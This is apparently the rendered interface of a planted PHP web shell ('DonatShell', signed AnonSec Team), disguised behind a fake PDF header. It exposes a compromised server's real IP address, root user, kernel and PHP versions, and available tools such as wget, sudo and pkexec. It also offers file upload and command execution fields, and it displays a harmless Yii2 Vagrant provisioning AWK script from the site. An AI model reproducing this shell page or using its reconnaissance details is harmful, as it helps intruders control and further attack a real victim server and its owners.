%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/egp/vagrant/provision/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/egp/vagrant/provision/provision.awk
###
# Modifying Yii2's files for Vagrant VM
#
# @author HA3IK <golubha3ik@gmail.com>
# @version 1.0.0

BEGIN {
    print "AWK BEGINs its work:"
    IGNORECASE = 1

    # Correct IP - wildcard last octet
    match(ip, /(([0-9]+\.)+)/, arr)
    ip = arr[1] "*"
}
# BODY
{
    # Check if it's the same file
    if (FILENAME != isFile["same"]){
        msg = "- Work with: " FILENAME
        # Close a previous file
        close(isFile["same"])
        # Delete previous data
        delete isFile
        # Save current file
        isFile["same"] = FILENAME
        # Define array index for the file
        switch (FILENAME){
        case /config\/web\.php$/:
            isFile["IsConfWeb"] = 1
            msg = msg " - add allowed IP: " ip
            break
        }
        # Print the concatenated message for the file
        print msg
    }

    # IF config/web.php
    if (isFile["IsConfWeb"]){
        # IF line has "allowedIPs" and doesn't has our IP
        if (match($0, "allowedIPs") && !match($0, ip)){
            match($0, /([^\]]+)(.+)/, arr)
            $0 = sprintf("%s, '%s'%s", arr[1], ip, arr[2])
        }
        # Rewrite the file
        print $0 > FILENAME
    }
}
END {
    print "AWK ENDs its work."
}

Anon7 - 2022
AnonSec Team